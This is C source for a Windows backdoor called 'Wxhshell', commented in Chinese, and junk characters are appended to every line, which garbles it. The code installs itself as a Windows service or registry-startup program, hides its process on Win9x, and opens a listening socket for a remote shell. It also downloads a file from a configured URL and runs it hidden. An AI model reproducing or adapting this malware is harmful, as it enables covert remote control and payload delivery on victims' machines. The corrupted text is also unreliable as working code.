{ nD^{Q[E6=
typedef struct W9:fKP
{ nNkyOaK*4
DWORD ExitStatus; L{4),65
DWORD PebBaseAddress; IptB.bYc
DWORD AffinityMask; ^Tb}]aHg
DWORD BasePriority; 3'|Uqf8
ULONG UniqueProcessId; 9/@FADh
ULONG InheritedFromUniqueProcessId; Q"x`+?!
} PROCESS_BASIC_INFORMATION; >eYU$/80
Yg\{S<wr
PROCNTQSIP NtQueryInformationProcess; g6x/f<2x
B<vvsp\X
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (MF+/fi
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5P5A,K
:mCw.Jz<h
HANDLE hProcess; ?uNTUU,
PROCESS_BASIC_INFORMATION pbi; w!=_
lq7 8gOg{
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )&b}^1
if(NULL == hInst ) return 0; }.fZy&_
:pL1F)-*
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o(v"?Y 6
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Huc3|~9
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (Von;U
s0X/1Cq
if (!NtQueryInformationProcess) return 0; LLXg
*o:BoP=S
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AaCnTRG
if(!hProcess) return 0; -$sl!%HO%
d=xI
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y%n{`9=
mTrI""Jsu;
CloseHandle(hProcess); vkNZ -`+I
EA%#/n
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;Wfv+]n9
if(hProcess==NULL) return 0; ?vL^:f["
4X(1
HMODULE hMod; ?-(w][MT\
char procName[255]; ';fU.uy
unsigned long cbNeeded; OW[/%U>
^G7n#
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #V(Hk )
z</XnN
CloseHandle(hProcess); b& _i/n(
rH}Dt@
if(strstr(procName,"services")) return 1; // 以服务启动 .H[Lo>
fd,}YAiX
return 0; // 注册表启动 RJ`/qXL
} U#FJ8CD&u
h!t2H6eyF
// 主模块 9^C!,A{u4
int StartWxhshell(LPSTR lpCmdLine) r,Y/4(.c7U
{ o<Rxt
*B
SOCKET wsl; .x-Z+Rs{g
BOOL val=TRUE; CpP$HrQ
int port=0; zM9) .D
H
struct sockaddr_in door; {ZBb.$}RC
B#Oc8`1Y
if(wscfg.ws_autoins) Install(); MIua\:xT
yrK--C8
port=atoi(lpCmdLine); fi-&[llg
7K5o"
"
if(port<=0) port=wscfg.ws_port; +_|cZlQ&
_
/28Cw
WSADATA data; ?`[ uh%
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /iJcy:J
\SH D
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .o,51dn+ s
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @ T~#Gwv
door.sin_family = AF_INET; IG3K Pmu
door.sin_addr.s_addr = inet_addr("127.0.0.1"); EuimZW\V
door.sin_port = htons(port); 77=y!SDP
Iy1Xn S*
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J/P@m_Yx
closesocket(wsl); U*+!w@
.
return 1; :Ro"
0/d
} GzZ|T7fm
^>R| R1&
if(listen(wsl,2) == INVALID_SOCKET) { |EEz>ci
closesocket(wsl); H|Fqc=qp
return 1; Bc"}nSjH
} Z?!:=x>7m
Wxhshell(wsl); :M?')
WSACleanup(); /*p?UW<*4
kKk |@
return 0; 17[t_T&Ak9
@.]K6qC
} GHsdLe=t0#
u.K'"-xt4K
// 以NT服务方式启动 G`JwAy r'
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2D_Vo ])l/
{ >D^7v(&
DWORD status = 0; -0J<R;cVs
DWORD specificError = 0xfffffff; .$s|T
MVU'GHv
serviceStatus.dwServiceType = SERVICE_WIN32; Va[dZeoy
serviceStatus.dwCurrentState = SERVICE_START_PENDING; k49n9EX
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #Uk6Fmu]
serviceStatus.dwWin32ExitCode = 0; wNZS6JF.d
serviceStatus.dwServiceSpecificExitCode = 0; v&/-&(+
serviceStatus.dwCheckPoint = 0; G;#t6bk
serviceStatus.dwWaitHint = 0; X1PlW8pd
O09g b[
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i2R]lE8
if (hServiceStatusHandle==0) return; %Bu n@
,?N_67
status = GetLastError(); h] TVi$J
if (status!=NO_ERROR) ^>}[[:( 6/
{ {_N(S]Z
serviceStatus.dwCurrentState = SERVICE_STOPPED; vh3iu+
serviceStatus.dwCheckPoint = 0; IG@&l0ARL
serviceStatus.dwWaitHint = 0; [B;Ek\ 5W
serviceStatus.dwWin32ExitCode = status; RpXG gw
serviceStatus.dwServiceSpecificExitCode = specificError; [?o vJ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @{GxQzo
return; mztq7[&-
} =@/^1.`
>!.lr9(l
serviceStatus.dwCurrentState = SERVICE_RUNNING; F&j|Y>m
serviceStatus.dwCheckPoint = 0; Jy
NY *
serviceStatus.dwWaitHint = 0; wq`Kyhk
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d33Nx)No
} 8pt<)Rs}
kF~e3A7C
// 处理NT服务事件,比如:启动、停止 &=O1Qg=K
VOID WINAPI NTServiceHandler(DWORD fdwControl) _( /lBf{|
{ Olh-(u:9+O
switch(fdwControl) nM}`H'0
{ JT_B@TO\
case SERVICE_CONTROL_STOP: F09AX'nj
serviceStatus.dwWin32ExitCode = 0; hds4_
serviceStatus.dwCurrentState = SERVICE_STOPPED; ITPpT
serviceStatus.dwCheckPoint = 0; X.5LB!I)
serviceStatus.dwWaitHint = 0; zgTi Az
{ -%$
dFq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); N2Hb19/k
} BkqW>[\5xm
return; UHHKI)(
case SERVICE_CONTROL_PAUSE: U MIZ:*j
serviceStatus.dwCurrentState = SERVICE_PAUSED; l~c>jm8.
break; Qn&^.e9I
case SERVICE_CONTROL_CONTINUE: 84cH|j`w
serviceStatus.dwCurrentState = SERVICE_RUNNING; rmJ847%y`
break; cYS+XBz
case SERVICE_CONTROL_INTERROGATE: <cjTn:w
break; mSeNM
}; N'.+ezZ;h
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vtk|WV?>P+
} >:|q J$J.
9F!&y-
// 标准应用程序主函数 <-aI%'?*
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nmrk-#._@9
{ feHAZ.8rp+
6[7k}9`alz
// 获取操作系统版本 F'*4:WD7
OsIsNt=GetOsVer(); 7?#32B
Gr
GetModuleFileName(NULL,ExeFile,MAX_PATH); o|C{ s
M lwQ_5O
// 从命令行安装 IBsn>*ja<
if(strpbrk(lpCmdLine,"iI")) Install(); mr.DP~O:9p
pBLO
// 下载执行文件 z6(Q
3@iO
if(wscfg.ws_downexe) { @kymL8"2w
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ij5YV3
WinExec(wscfg.ws_filenam,SW_HIDE); ^123.Ru|t
} E3.s8}}
INpub5
if(!OsIsNt) { E~^'w.1
// 如果时win9x,隐藏进程并且设置为注册表启动 DcHMiiVM
HideProc(); TaG-^bX8B
StartWxhshell(lpCmdLine); q5PYc.E([
} cw{[B%vw
else Z]d]RL&r
if(StartFromService()) RGmpkQEp
// 以服务方式启动 <X*8Xzmv
StartServiceCtrlDispatcher(DispatchTable); lsCh K
else W^f#xrq>
// 普通方式启动 9v0|lS!-
StartWxhshell(lpCmdLine); [DwB7l)O(
L4b4X
return 0; Y2EN!{YU
}